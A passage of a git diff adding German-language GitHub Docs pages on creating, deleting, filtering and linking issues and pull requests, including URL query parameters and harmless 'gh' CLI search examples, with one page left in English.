+    - Um ein Issue zu Code in einem Pull Request zu erstellen, musst du zu diesem Pull Request navigieren und auf {% octicon "diff" aria-label="The file diff icon" %} **geänderte Dateien** klicken. Navigiere anschließend zu der Datei mit dem Code, den dein Kommentar enthalten soll, und klicke auf **Anzeigen**.
+{% data reusables.repositories.choose-line-or-range %}
+4. Klicke links neben dem Codeabschnitt auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}. Klicke im Dropdownmenü auf **Im neuem Issue darauf verweisen**.
+  ![Drei-Punkte-Menü mit der Option, ein neues Issue für eine ausgewählte Zeile zu öffnen](/assets/images/help/repository/open-new-issue-specific-line.png) {% data reusables.repositories.type-issue-title-and-description %} {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %}
+
+{% ifversion discussions %}
+
+## Erstellen eines Issues aus Diskussion
+
+Personen mit Selektierungsberechtigung für ein Repository können Issues aus Diskussionen erstellen.
+
+Wenn du ein Issue aus einer Diskussion erstellst, wird der Diskussionsinhalt automatisch in den Issuetext aufgenommen, und alle Bezeichnungen werden aufbewahrt. Durch das Erstellen eines Issues aus einer Diskussion wird die Diskussion weder in ein Issue umgewandelt noch wird die bestehende Diskussion gelöscht. Weitere Informationen zu {% data variables.product.prodname_discussions %} findest du unter [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions).
+
+{% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %}
+1. Klicke in der rechten Randleiste auf {% octicon "issue-opened" aria-label="The issues icon" %} **Issue aus Diskussion erstellen**.
+   ![Schaltfläche zum Erstellen eines Issues aus einer Diskussion](/assets/images/help/discussions/create-issue-from-discussion.jpg) {% data reusables.repositories.type-issue-title-and-description %} {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %}
+
+{% endif %}
+
+## Erstellen eines Issues aus einer Projektboardnotiz
+
+Wenn du ein Projektboard verwendest, um deine Arbeit zu verfolgen und zu priorisieren, kannst du Notizen im Projektboard zu Issues umwandeln. Weitere Informationen findest du unter [Informationen zu Projektboards](/github/managing-your-work-on-github/about-project-boards) und [Hinzufügen von Notizen zu einem Projektboard](/github/managing-your-work-on-github/adding-notes-to-a-project-board#converting-a-note-to-an-issue).
+
+{% ifversion fpt or ghec %}
+
+## Erstellen eines Issues aus einem Aufgabenlistenelement
+
+Innerhalb eines Issues kannst du Arbeit mithilfe von Aufgabenlisten in kleinere Vorgänge aufteilen und den Arbeitsfortschritt bis zur Fertigstellung verfolgen. Wenn eine Aufgabe weitere Nachverfolgung oder Diskussion erfordert, kannst du die Aufgabe in ein Issue umwandeln, indem du auf die Aufgabe zeigst und in der oberen rechten Ecke der Aufgabe auf {% octicon "issue-opened" aria-label="The issue opened icon" %} klicken. Weitere Informationen findest du unter [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists).
+
+{% endif %}
+
+## Erstellen eines Issues aus einer URL-Abfrage
+
+Du kannst Issues mithilfe von Abfrageparametern eröffnen. Abfrageparameter sind optionale Bestandteile einer URL, die du anpassen kannst, um eine bestimmte Ansicht einer Webseite freizugeben, beispielsweise Suchfilterergebnisse oder eine Issue-Vorlage auf {% data variables.product.prodname_dotcom %}. Um eigene Abfrageparameter zu erstellen, musst du Schlüssel- und Wertepaar abgleichen.
+
+{% tip %}
+
+**Tipp:** Du kannst auch Issuevorlagen erstellen, die mit Standardbezeichnungen, zugewiesenen Personen und einem Issuetitel geöffnet werden. Weitere Informationen findest du unter [Verwenden von Vorlagen zur Unterstützung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests).
+
+{% endtip %}
+
+Du musst die erforderlichen Berechtigungen für jede Aktion haben, um den entsprechenden Abfrageparameter zu verwenden. Um den Abfrageparameter `labels` verwenden zu können, benötigst du beispielsweise die Berechtigung, einem Issue eine Bezeichnung hinzuzufügen. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+Wenn du mithilfe von Suchparametern eine ungültige URL erstellst oder nicht über die erforderlichen Berechtigungen verfügst, gibt die URL eine `404 Not Found`-Fehlerseite zurück. Wenn du eine URL erstellst, die das Serverlimit überschreitet, gibt die URL eine `414 URI Too Long`-Fehlerseite zurück.
+
+Query parameter (Abfrageparameter) | Beispiel
+---  | ---
+`title` | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` erstellt ein Issue mit der Bezeichnung „bug“ (Fehler) und dem Titel „New bug report“ (Neuer Fehlerbericht).
+`body` | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.` erstellt ein Issue mit dem Titel „New bug report“ (Neuer Fehlerbericht) und dem Kommentar „Describe the problem“ (Beschreibe das Problem) im Issuetext.
+`labels` | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug` erstellt ein Issue mit den Bezeichnungen „help wanted“ (Hilfe benötigt) und „bug“.
+`milestone` | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` erstellt ein Issue mit dem Meilenstein „testing milestones“ (Testmeilensteine).
+`assignees` | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` erstellt ein Issue und weist es @octocat zu.
+`projects` | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` erstellt ein Issue mit dem Titel „Bug fix“ (Fehlerkorrektur) und fügt es Projektboard 1 der Organisation hinzu.
+`template` | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` erstellt ein Issue mit einer Vorlage im Issuetext. Der Abfrageparameter `template` funktioniert mit Vorlagen, die in einem `ISSUE_TEMPLATE`-Unterverzeichnis innerhalb des Stammverzeichnisses, in`docs/` oder im Verzeichnis `.github/` in einem Repository gespeichert sind. Weitere Informationen findest du unter [Verwenden von Vorlagen zur Unterstützung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests).
+
+{% ifversion code-scanning-task-lists %}
+## Erstellen eines Issues aus einer {% data variables.product.prodname_code_scanning %}-Warnung
+
+{% data reusables.code-scanning.beta-alert-tracking-in-issues %} Wenn du deine Arbeit mithilfe von Issues nachverfolgst und priorisierst, kannst du mithilfe von Issues auch {% data variables.product.prodname_code_scanning %}-Warnungen nachverfolgen.
+{% data reusables.code-scanning.alert-tracking-link %}
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Schreiben auf GitHub](/github/writing-on-github)
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/deleting-an-issue.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
new file mode 100644
index 0000000000..d5a71dc279
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
@@ -0,0 +1,38 @@
+---
+title: Einen Issue löschen
+intro: Personen mit Administratorberechtigungen für ein Repository können Issues dauerhaft aus einem Repository löschen.
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/deleting-an-issue
+  - /articles/deleting-an-issue
+  - /github/managing-your-work-on-github/deleting-an-issue
+  - /issues/tracking-your-work-with-issues/creating-issues/deleting-an-issue
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 140bd1fdb272dd3203b993cf5f5f7038963fafe2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146774572'
+---
+Ob Issues gelöscht werden können, hängt davon ab, ob das Repository einem persönlichen Konto oder einer Organisation gehört:
+- Nur das persönliche Konto, das im Besitz des Repositorys mit den Issues ist, kann diese löschen.
+- Nur Konten mit Administrator- oder Besitzerberechtigungen können Issues in einem Repository löschen, das einer Organisation gehört.
+
+  Zum Löschen eines Issue in einem Repository im Besitz einer Organisation muss der Organisationsbesitzer die Option zum Löschen von Issues für die Repositorys der Organisation aktivieren. Weitere Informationen findest du unter „[Zulassen, dass Personen Issues in deiner Organisation löschen können](/articles/allowing-people-to-delete-issues-in-your-organization)“ und „[Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)“.
+
+Mitarbeiter*innen werden nicht benachrichtigt, wenn Issues gelöscht werden. Wenn Mitarbeiter*innen die URL eines gelöschten Issues aufrufen, wird ihnen eine Meldung angezeigt, dass die Website nicht gefunden werden kann. Sie können jedoch die API verwenden, um festzustellen, dass sie gelöscht wurde. Personen mit Administrator- oder Inhaberberechtigungen für das Repository sehen zusätzlich den Benutzernamen der Person, die den Issue gelöscht hat, und den Zeitpunkt des Löschvorgangs.
+
+1. Navigiere zu dem Issue, den du löschen möchtest.
+2. Klicke auf der rechten Seite unter „Benachrichtigungen“ auf **Issue löschen**.
+![Hervorgehobener Text „Diesen Issue löschen“ unten auf der rechten Seitenleiste der Issue-Seite](/assets/images/help/issues/delete-issue.png)
+4. Um das Löschen zu bestätigen, klicke auf **Dieses Issue löschen**.
+
+## Weiterführende Themen
+
+- „[Einen Pull Request zu einem Issue verknüpfen](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)“
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
new file mode 100644
index 0000000000..dad7a84b9b
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
@@ -0,0 +1,230 @@
+---
+title: Filtern und Suchen von Problemen und Pull-Anforderungen
+intro: 'Um detaillierte Informationen zu einem Repository auf {% data variables.product.product_name %} zu ermitteln, kannst du Issues und Pull Requests filtern, sortieren und durchsuchen, die für das Repository relevant sind.'
+redirect_from:
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees
+  - /articles/filtering-issues-and-pull-requests-by-assignees
+  - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-assignees
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-labels
+  - /articles/filtering-issues-and-pull-requests-by-labels
+  - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-labels
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests
+  - /articles/filtering-issues-and-pull-requests
+  - /github/managing-your-work-on-github/filtering-issues-and-pull-requests
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-pull-requests-by-review-status
+  - /articles/filtering-pull-requests-by-review-status
+  - /github/managing-your-work-on-github/filtering-pull-requests-by-review-status
+  - /github/managing-your-work-on-github/finding-information-in-a-repository
+  - /articles/finding-information-in-a-repository
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/sharing-filters
+  - /articles/sharing-filters
+  - /github/managing-your-work-on-github/sharing-filters
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/using-search-to-filter-issues-and-pull-requests
+  - /articles/using-search-to-filter-issues-and-pull-requests
+  - /github/managing-your-work-on-github/using-search-to-filter-issues-and-pull-requests
+  - /github/managing-your-work-on-github/finding-information-in-a-repository/sorting-issues-and-pull-requests
+  - /articles/sorting-issues-and-pull-requests
+  - /github/managing-your-work-on-github/sorting-issues-and-pull-requests
+  - /github/administering-a-repository/finding-information-in-a-repository
+  - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests
+  - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees
+  - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-labels
+  - /github/administering-a-repository/finding-information-in-a-repository/filtering-pull-requests-by-review-status
+  - /github/administering-a-repository/finding-information-in-a-repository/sorting-issues-and-pull-requests
+  - /github/administering-a-repository/finding-information-in-a-repository/using-search-to-filter-issues-and-pull-requests
+  - /github/administering-a-repository/finding-information-in-a-repository/sharing-filters
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Issues
+  - Pull requests
+shortTitle: Filter and search
+type: how_to
+ms.openlocfilehash: 24f91958f98f4b6744ee3b21bf3d748aef062eb6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107597'
+---
+{% data reusables.cli.filter-issues-and-pull-requests-tip %}
+
+## Issues und Pull Requests filtern
+
+Issues und Pull Requests umfassen standardmäßige Filter, mit denen du deine Listen organisieren kannst.
+
+{% data reusables.search.requested_reviews_search %}
+
+Du kannst Issues und Pull Requests filtern, um Folgendes zu finden:
+- alle offenen Issues und Pull Requests
+- Issues und Pull Requests, die du erstellt hast
+- Issues und Pull Requests, die Dir zugewiesen sind
+- Probleme und Pull-Anforderungen, bei denen du [**@mentioned**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+
+{% data reusables.cli.filter-issues-and-pull-requests-tip %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Klicke auf **Filter**, um den gewünschten Filtertyp auszuwählen.
+  ![Dropdownmenü zum Anwenden der Filter](/assets/images/help/issues/issues_filter_dropdown.png)
+
+## Issues und Pull Requests nach Bearbeitern filtern
+
+Wenn du ein [Problem oder eine Pull-Anforderung jemandem zugewiesen hast,](/articles/assigning-issues-and-pull-requests-to-other-github-users) kannst du Elemente anhand der Personen finden, die daran arbeiten.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Wähle in der oberen rechten Ecke das Dropdownmenü „Assignee“ (Bearbeiter) aus.
+4. In diesem Dropdownmenü sind alle Benutzer aufgeführt, die Schreibzugriff auf dein Repository haben. Klicke auf den Namen der Person, deren zugewiesene Elemente du sehen möchtest, oder klicke auf **Niemandem zugewiesen**, um zu sehen, welche Probleme nicht zugewiesen wurden.
+![Verwenden der Dropdownregisterkarte Zugewiesene](/assets/images/help/issues/issues_assignee_dropdown.png)
+
+{% tip %}
+
+Klicke zum Zurücksetzen des ausgewählten Filters auf **Aktuelle Suchabfrage, Filter und Sortierung löschen**.
+
+{% endtip %}
+
+## Issues und Pull Requests nach Kennzeichnungen filtern
+
+Sobald du einem Problem oder einer [Pull-Anforderung Kennzeichnungen zugewiesen hast](/articles/applying-labels-to-issues-and-pull-requests), kannst du Elemente anhand ihrer Kennzeichnungen finden.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %}
+4. Klicke in der Liste der Kennzeichnungen auf eine Kennzeichnung, um die Issues und Pull Requests zu sehen, auf die sie angewendet wurde.
+  ![Liste der Kennzeichnungen eines Repositorys](/assets/images/help/issues/labels-page.png)
+
+{% tip %}
+
+**Tipp:** Klicke zum Zurücksetzen des ausgewählten Filters auf **Aktuelle Suchabfrage, Filter und Sortierung löschen.**
+
+{% endtip %}
+
+## Pull Requests nach Review-Status filtern
+
+Mit Filtern kannst du Pull Requests nach Review-Status auflisten und Pull Requests suchen, die du überprüft hast oder um deren Review du von anderen gebeten wurdest.
+
+Du kannst die Pull-Request-Liste eines Repositorys filtern, um folgende Pull Requests zu finden:
+- Pull-Anforderungen, die noch nicht [überprüft](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) wurden
+- Pull-Anforderungen, die [eine Überprüfung erfordern](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging), bevor sie zusammengeführt werden können
+- Pull Requests, die ein Reviewer genehmigt hat
+- Pull Requests, bei denen ein Reviewer um Änderungen gebeten hat
+- Pull Requests, die Du überprüft hast
+- Pull Requests, zu deren Überprüfung dich jemand direkt aufgefordert hat
+- Pull-Anforderungen, um die dich [jemand aufgefordert hat, oder ein Team, in dem du Mitglied bist, zu überprüfen](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %}
+3. Wähle in der oberen rechten Ecke das Dropdownmenü „Reviews“ (Reviews) aus.
+  ![Dropdownmenü „Reviews“ (Reviews) im Filtermenü über der Liste der Pull-Anforderungen](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
+4. Wähle einen Filter aus, um alle Pull Requests mit dem Status dieses Filters zu finden.
+  ![Liste der Filter im Dropdownmenü „Reviews“ (Reviews)](/assets/images/help/pull_requests/pr-review-filters.png)
+
+## Issues und Pull Requests mit der Suchfunktion filtern
+
+Du kannst erweiterte Filter verwenden, um nach Problemen und Pull-Anforderungen zu suchen, die bestimmten Kriterien entsprechen.
+
+### Suche nach Problemen und Pull-Anforderungen
+
+{% webui %}
+
+Mit der Suchleiste für Issues und Pull Requests kannst du deine eigenen benutzerdefinierten Filter erstellen und nach einer Vielzahl an Kriterien Sortierungen vornehmen. Du findest die Suchleiste auf den Registerkarten **"Probleme** " und " **Pull-Anforderungen** " jedes Repositorys sowie auf deinen Dashboards für Probleme [und Pull-Anforderungen](/articles/viewing-all-of-your-issues-and-pull-requests).
+
+![Die Suchleiste für Issues und Pull Requests](/assets/images/help/issues/issues_search_bar.png)
+
+{% tip %}
+
+**Tipp:** {% data reusables.search.search_issues_and_pull_requests_shortcut %}
+
+{% endtip %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Du kannst Problemen oder Pull-Anforderungen auch mithilfe der {% data variables.product.prodname_cli %} filtern. Verwende den Unterbefehl `gh issue list` oder `gh pr list` zusammen mit dem Argument `--search` und einer Suchabfrage.
+
+Du kannst zum Beispiel alle Probleme in der Reihenfolge des Erstellungsdatums auflisten, für die es keine Zuweisung gibt und die die Kennzeichnung `help wanted` oder `bug` haben.
+
+```shell
+gh issue list --search 'no:assignee label:"help wanted",bug sort:created-asc'
+```
+
+Du kannst auch alle Pull-Anforderungen auflisten, die das `octo-org/octo-team` Team erwähnen.
+
+```shell
+gh pr list --search "team:octo-org/octo-team"
+```
+
+{% endcli %}
+
+### Informationen zu Suchbegriffen
+
+Mithilfe von Suchbegriffen zu Issues und Pull Requests kannst Du:
+
+- Filtern von Problemen und Pull-Anforderungen nach Autor: `state:open type:issue author:octocat`
+- Filtern von Problemen und Pull-Anforderungen, die sich - aber nicht unbedingt - auf bestimmte Personen beziehen [**@mention**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams): `state:open type:issue involves:octocat`
+- Filtern von Problemen und Pull-Anforderungen nach zugewiesener Person: `state:open type:issue assignee:octocat`
+- Filtern von Problemen und Pull-Anforderungen nach Kennzeichnung: `state:open type:issue label:"bug"`
+- Filtere Suchbegriffe heraus, indem du `-` vor dem Begriff verwendest: `state:open type:issue -author:octocat`
+
+{% tip %}
+
+**Tip:** Du kannst Issues und Pull Requests nach Bezeichnung filtern, indem du ein logisches ODER oder ein logisches UND verwendest.
+- Verwende die Kommasyntax, um Probleme mit logischem ODER zu filtern: `label:"bug","wip"`.
+- Verwende separate Bezeichnungsfilter, um Probleme mit logischem UND zu filtern: `label:"bug" label:"wip"`.
+
+{% endtip %}
+
+Für Issues kannst du die Suche auf für folgendes benutzen:
+
+- Du kannst nach Issues filtern, die mit einem Pull Request verknüpft sind, indem du einen schließenden Verweis verwendest: `linked:pr`{% ifversion issue-close-reasons %}
+- Du kannst Issues nach Schließungsgrund filtern: `is:closed reason:complete` oder `is:closed reason:"not planned"`{% endif %}
+
+Bei Pull Requests kannst du die Suche auch verwenden, um:
+- Filtern von Pull-Anforderungs-[Entwürfen](/articles/about-pull-requests#draft-pull-requests): `is:draft`
+- Filtern von Pull-Anforderungen, die noch nicht [überprüft](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) wurden: `state:open type:pr review:none`
+- Filtern von Pull-Anforderungen, die [eine Überprüfung erfordern](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging), bevor sie zusammengeführt werden können: `state:open type:pr review:required`
+- Filtern von Pull-Anforderungen, die ein Prüfer genehmigt hat: `state:open type:pr review:approved`
+- Filtern von Pull-Anforderungen, bei denen ein Prüfer um Änderungen gebeten hat: `state:open type:pr review:changes_requested`
+- Filtern von Pull-Anforderungen nach [Prüfer](/articles/about-pull-request-reviews/): `state:open type:pr reviewed-by:octocat`
+- Filtern von Pull Requests nach dem spezifischen Benutzer, [der zur Überprüfung aufgefordert wurde](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat`
+- Filtern von Pull Requests, zu deren Überprüfung dich jemand direkt aufgefordert hat: `state:open type:pr user-review-requested:@me`
+- Filtern von Pull-Anforderungen durch das Team, das zur Überprüfung angefordert wurde: `state:open type:pr team-review-requested:github/docs`
+- Nach Pull-Anforderungen filtern, die mit einem Problem verknüpft sind, das durch die Pull-Anforderungen geschlossen werden kann: `linked:issue`
+
+## Issues und Pull Requests sortieren
+
+Zur besseren Darstellung der Informationen eines bestimmten Zeitraums können gefilterter Ansichten sortiert werden.
+
+Du kannst jede gefilterte Ansicht nach folgenden Aspekten sortieren:
+
+* Die neuesten Issues oder Pull Requests (nach Erstellungsdatum)
+* Die ältesten Issues oder Pull Requests (nach Erstellungsdatum)
+* Die Issues oder Pull Requests mit den meisten Kommentaren
+* Die Issues oder Pull Requests mit den wenigsten Kommentaren
+* Die neuesten Issues oder Pull Requests (nach Änderungsdatum)
+* Die ältesten Issues oder Pull Requests (nach Änderungsdatum)
+* Die am häufigsten hinzugefügte Reaktion auf Probleme oder Pull-Anforderungen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+1. Wähle oben rechts im Dropdownmenü „Sort“ (Sortieren) eine Option aus.
+  ![Verwenden des Dropdownmenüs „Sort“ (Sortieren)](/assets/images/help/issues/issues_sort_dropdown.png)
+
+Um die Sortierauswahl zu löschen, klicke auf **Sortieren** > **Neueste**.
+
+## Filter austauschen
+
+Wenn du Issues und Pull Requests filterst oder sortierst, wird die URL deines Browsers automatisch an die neue Ansicht angepasst.
+
+Die hierbei generierte URL kannst du anderen Benutzern senden, damit diese die gleiche Filteransicht aufrufen können.
+
+Würdest du beispielsweise nach Issues filtern, die Hubot zugeordnet sind, und nach den ältesten offenen Issues sortieren, würde deine URL in etwa wie folgt aussehen:
+
+```
+/issues?q=state:open+type:issue+assignee:hubot+sort:created-asc
+```
+
+## Weitere Informationsquellen
+
+- "[Suchen von Problemen und Pull-Anforderungen](/articles/searching-issues)"
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/index.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/index.md
new file mode 100644
index 0000000000..4760aed8b2
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/index.md
@@ -0,0 +1,38 @@
+---
+title: Nachverfolgen der Arbeit mit Issues
+shortTitle: Issues
+intro: 'Verwenden von {% data variables.product.prodname_github_issues %} zum Nachverfolgen von Ideen und Arbeiten auf {% data variables.product.prodname_dotcom %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Issues
+children:
+  - /about-issues
+  - /quickstart
+  - /creating-an-issue
+  - /about-tasklists
+  - /linking-a-pull-request-to-an-issue
+  - /creating-a-branch-for-an-issue
+  - /assigning-issues-and-pull-requests-to-other-github-users
+  - /viewing-all-of-your-issues-and-pull-requests
+  - /filtering-and-searching-issues-and-pull-requests
+  - /marking-issues-or-pull-requests-as-a-duplicate
+  - /pinning-an-issue-to-your-repository
+  - /transferring-an-issue-to-another-repository
+  - /closing-an-issue
+  - /deleting-an-issue
+  - /planning-and-tracking-work-for-your-team-or-project
+redirect_from:
+  - /issues/tracking-your-work-with-issues/creating-issues
+  - /issues/tracking-your-work-with-issues/managing-issues
+ms.openlocfilehash: fa4e3db684dbb39e30109452f4358753b5daf5ae
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159585'
+---
+
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
new file mode 100644
index 0000000000..10b193cadf
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
@@ -0,0 +1,105 @@
+---
+title: Linking a pull request to an issue
+intro: 'You can link a pull request {% ifversion link-existing-branches-to-issue %}or branch {% endif %}to an issue to show that a fix is in progress and to automatically close the issue when the pull request {% ifversion link-existing-branches-to-issue %}or branch {% endif %} is merged.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue
+  - /articles/closing-issues-via-commit-message
+  - /articles/closing-issues-via-commit-messages
+  - /articles/closing-issues-using-keywords
+  - /github/managing-your-work-on-github/closing-issues-using-keywords
+  - /github/managing-your-work-on-github/linking-a-pull-request-to-an-issue
+  - /issues/tracking-your-work-with-issues/creating-issues/linking-a-pull-request-to-an-issue
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Link PR to issue
+---
+{% note %}
+
+**Note:** The special keywords in a pull request description are interpreted when the pull request targets the repository's *default* branch. However, if the PR's base is *any other branch*, then these keywords are ignored, no links are created and merging the PR has no effect on the issues. **If you want to link a pull request to an issue using a keyword, the PR must be on the default branch.**
+
+{% endnote %}
+
+## About linked issues and pull requests
+
+You can link an issue to a pull request manually or using a supported keyword in the pull request description.
+
+When you link a pull request to the issue the pull request addresses, collaborators can see that someone is working on the issue.
+
+When you merge a linked pull request into the default branch of a repository, its linked issue is automatically closed. For more information about the default branch, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+
+## Linking a pull request to an issue using a keyword
+
+You can link a pull request to an issue by using a supported keyword in the pull request's description or in a commit message. The pull request **must be** on the default branch.
+
+* close
+* closes
+* closed
+* fix
+* fixes
+* fixed
+* resolve
+* resolves
+* resolved
+
+If you use a keyword to reference a pull request comment in another pull request, the pull requests will be linked. Merging the referencing pull request also closes the referenced pull request.
+
+The syntax for closing keywords depends on whether the issue is in the same repository as the pull request.
+
+Linked issue | Syntax | Example
+--------------- | ------ | ------
+Issue in the same repository | *KEYWORD* #*ISSUE-NUMBER* | `Closes #10`
+Issue in a different repository | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`
+Multiple issues | Use full syntax for each issue | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100`
+
+Only manually linked pull requests can be manually unlinked. To unlink an issue that you linked using a keyword, you must edit the pull request description to remove the keyword.
+
+You can also use closing keywords in a commit message. The issue will be closed when you merge the commit into the default branch, but the pull request that contains the commit will not be listed as a linked pull request.
+
+## Manually linking a pull request to an issue using the pull request sidebar
+
+Anyone with write permissions to a repository can manually link a pull request to an issue from the pull request sidebar.
+
+You can manually link up to ten issues to each pull request. The issue and pull request must be in the same repository.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-pr %}
+3. In the list of pull requests, click the pull request that you'd like to link to an issue.
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+4. In the right sidebar, in the "Development" section click {% octicon "gear" aria-label="The Gear icon" %}.
+{% else %}
+4. In the right sidebar, click **Linked issues**.
+  ![Linked issues in the right sidebar](/assets/images/help/pull_requests/linked-issues.png)
+{% endif %}
+5. Click the issue you want to link to the pull request.
+  ![Drop down to link issue](/assets/images/help/pull_requests/link-issue-drop-down.png)
+
+{% ifversion link-existing-branches-to-issue %}
+
+## Manually linking a pull request or branch to an issue using the issue sidebar
+
+Anyone with write permissions to a repository can manually link a pull request or branch to an issue from the issue sidebar.
+
+You can manually link up to ten issues to each pull request. The issue can be in a different repository than the linked pull request or branch. Your last selected repository will be remembered 
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-issues %}
+3. In the list of issues, click the issue that you'd like to link a pull request or branch to.
+4. In the right sidebar, click **Development**.
+  ![Development menu in the right sidebar](/assets/images/help/issues/development-menu.png)
+5. Click the repository containing the pull request or branch you want to link to the issue.
+  ![Drop down to select repository](/assets/images/help/issues/development-menu-select-repository.png)
+6. Click the pull request or branch you want to link to the issue.
+  ![Drop down to link pull request or branch](/assets/images/help/issues/development-menu-select-pr-or-branch.png)
+7. Click **Apply**.
+  ![Apply](/assets/images/help/issues/development-menu-apply.png)
+
+{% endif %}
+
+## Further reading
+
+* "[Autolinked references and URLs](/articles/autolinked-references-and-urls/#issues-and-pull-requests)"
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md
new file mode 100644
index 0000000000..4477180eee
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md
@@ -0,0 +1,35 @@
+---
+title: Markieren von Problemen oder Pull Requests als ein Duplikat
